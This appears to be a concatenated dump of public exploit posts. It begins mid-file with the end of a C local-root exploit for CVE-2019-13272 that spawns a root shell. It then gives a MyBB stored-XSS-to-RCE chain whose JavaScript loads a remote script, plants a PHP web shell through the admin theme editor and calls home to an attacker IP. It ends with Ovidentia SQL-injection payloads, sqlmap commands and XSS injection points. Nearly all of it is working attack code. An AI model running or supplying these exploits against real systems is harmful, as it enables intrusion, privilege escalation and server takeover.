* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
/*
# Exploit Title: MyBB < 1.8.21 Authenticated RCE
# Date: July 24, 2019
# Exploit Author: Giovanni Chhatta (https://www.linkedin.com/in/giovannichhatta/)
# Vendor Homepage: https://mybb.com/
# Software Link: https://resources.mybb.com/downloads/mybb_1820.zip
# Version: 1.8.20
# Tested on: Windows 10
# Blog: https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/
Example payload: [video=youtube]http://test/test#[url]onload='script=document.createElement(%22script%22);script.src=%22https://giovan.nl/mybb.js%22;document.body.append(script);'//[/url][/video]
This payload fetches another JS file (mybb.js), hosted on a VPS.
NOTE: Mybb's textbox will dynamically change apostrophes (') to ' . To fix this just manually change them back to apostrophes and hit 'send'.
The payload will trigger once an admin views the message.
*/
/*
* mybb.js
*/
function postReq(toUrl,body,setHeaders = true){
var xhr = new XMLHttpRequest();
xhr.open("POST",toUrl,false);
if(setHeaders){
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language","nl,en-US;q=0.7,en;q=0.3");
xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------21840354016818");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
}else{
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
}
xhr.send(body);
}
function getReq(toUrl, property = true){
var xhr = new XMLHttpRequest();
xhr.open("GET",toUrl,false);
xhr.send();
prop = property ? xhr.responseText : xhr.status;
return prop;
}
function upload(url,key,payload){
url = url + "admin/index.php?module=style-themes&action=import";
data = "-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"my_post_key\"\r\n\r\n"+key+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import\"\r\n\r\n0\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"local_file\"; filename=\"shel1l.xml\"\r\nContent-Type: text/xml\r\n\r\n"+payload+"\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"tid\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"version_compat\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_stylesheets\"\r\n\r\n1\r\n-----------------------------21840354016818\r\nContent-Disposition: form-data; name=\"import_templates\"\r\n\r\n1\r\n-----------------------------21840354016818--\r\n";
postReq(url,data);
}
function fakeDiv(body){
var div = document.createElement('div');
div.innerHTML = body;
div.setAttribute("id","fakediv");
document.body.append(div);
var themeLink = document.getElementsByClassName("popup_item")[2].href;
var themeID = themeLink.substring(themeLink.indexOf("tid")+4,themeLink.length);
document.getElementById("fakediv").remove();
return themeID;
}
function getThemeID(url){
url = url + "admin/index.php?module=style-themes";
responseBody = getReq(url);
return fakeDiv(responseBody);
}
function editStylesheet(url,key,tid,filename){
url = url + "admin/index.php?module=style-themes&action=edit_stylesheet&mode=advanced";
data = "my_post_key="+key+"&tid="+tid+"&file="+filename+"&stylesheet=%3C%3Fphp+system%28%24_GET%5B1%5D%29%3B+%3F%3E&save=Save+Changes";
postReq(url,data,false);
}
function checkShell(url,theme,filename){
url = url + "cache/themes/theme" + theme + "/" + filename;
if(getReq(url,false) == 200){
console.log("[*] Shell found in theme " + theme);
window.open(host + "cache/themes/theme"+theme+"/"+filename+"?1=whoami");
}else{
console.log("[!] Exploit failed: Couldn't find shell.")
}
}
function callHome(theme){
let IP = "10.11.6.96"; // Change this
let port = 1234; // Change this
let url = "http://" + IP + ":" + port + "/" + document.domain + "/isPwned/theme" + theme;
getReq(url);
}
isAdmin = false;
host = location.href.split('/')[0] + "//" + location.href.split('/')[2] + "/mybb/"; // Change last part
key = document.getElementsByName("my_post_key")[0].value;
filename = "910910910910910910910910xD.php";
payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<theme>\r\n<stylesheets>\r\n<stylesheet name=\""+filename+".css\">\r\ngecko\r\n</stylesheet>\r\n</stylesheets>\r\n</theme>"
upload(host,key,payload);
theme = getThemeID(host);
editStylesheet(host,key,theme,filename);
isAdmin ? checkShell(host,theme,filename) : callHome(theme);
#-------------------------------------------------------
# Exploit Title: [ Ovidentia CMS - SQL Injection (Authenticated) ]
# Date: [ 06/05/2019 ]
# CVE: [ CVE-2019-13978 ]
# Exploit Author:
# [ Fernando Pinheiro (n3k00n3) ]
# [ Victor Flores (UserX) ]
# Vendor Homepage: [
https://www.ovidentia.org/
]
# Version: [ 8.4.3 ]
# Tested on: [ Mac,linux - Firefox, safari ]
# Download [
http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893
]
#
# [ Kitsun3Sec Research Group ]
#--------------------------------------------------------
POC
Path: /ovidentia/index.php?tg=delegat&idx=mem&id=1
Type: GET
Vulnerable Field: id
Payload:
1. tg=delegat&idx=mem&id=1 AND 3152=(SELECT (CASE WHEN (3152=3152) THEN 3152 ELSE (SELECT 9962 UNION SELECT
2. tg=delegat&idx=mem&id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))QwTg)
URL:
https://target/ovidentia/index.php?tg=delegat&idx=mem&id=1
Using Request file
sqlmap.py -r req --random-agent --risk 3 --level 5 --dbms=mysql -p id --dbs
Using Get
./sqlmap.py -u
[http://target/ovidentia/index.php\?tg\=delegat\&idx\=mem\&id\=1](http://target/ovidentia/index.php/?tg\=delegat\&idx\=mem\&id\=1)
--cookie "Cookie: OV1364928461=6kb5jvu7f6lg93qlo3vl9111f8" --random-agent --risk 3 --level 5 --dbms=mysql -p id --dbs
#-------------------------------------------------------
# Exploit Title: [ Ovidentia CMS - XSS Ovidentia 8.4.3 ]
# Description: [ The vulnerability permits any kind of XSS attacks. Reflected, DOM and Stored XSS. ]
# Date: [ 06/05/2019 ]
# CVE: [ CVE-2019-13977 ]
# Exploit Author:
# [ Fernando Pinheiro (n3k00n3) ]
# [ Victor Flores (UserX) ]
# Vendor Homepage: [
https://www.ovidentia.org/
]
# Version: [ 8.4.3 ]
# Tested on: [ Mac,linux - Firefox, safari ]
# Download: [
http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893
]
#
# [ Kitsun3Sec Research Group ]
#--------------------------------------------------------
POC
>========================================================
Stored XSS
>========================================================
1. POST
http://TARGET/ovidentia/index.php?tg=groups
Field:
nom
2. POST
http://TARGET/ovidentia/index.php?tg=maildoms&idx=create&userid=0&bgrp=y
Fields:
Nom
Description
3. GET
http://TARGET/ovidentia/index.php?tg=delegat
Show groups
4. POST
http://TARGET/ovidentia/index.php?tg=site&idx=create
http://TARGET/ovidentia/index.php?tg=site&item=4
Fields:
Nom
address
description
5. POST
http://TARGET/ovidentia/index.php?tg=admdir&idx=mdb&id=1
Fields:
Libellé du champ
Explosion:
http://TARGET/ovidentia/index.php?tg=forums&idx=notices
http://TARGET/ovidentia/index.php?tg=admdir&idx=dispdb&id=1
http://TARGET/ovidentia/index.php?tg=admdir&idx=lorddb&id=1
6. POST
http://TARGET/ovidentia/index.php?tg=notes&idx=Create
Fields: Notes
Explosion:
http://TARGET/ovidentia/index.php?tg=notes&idx=List
7. POST
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Add
Fields: all
Explosion:
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Categories#bab_faq_2
>========================================================
REFLECTED
>========================================================
1. GET
http://TARGET/ovidentia/index.php?tg=admoc&idx=addoc&item=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E
Sent from [ProtonMail](https://protonmail.com), encrypted email based in Switzerland.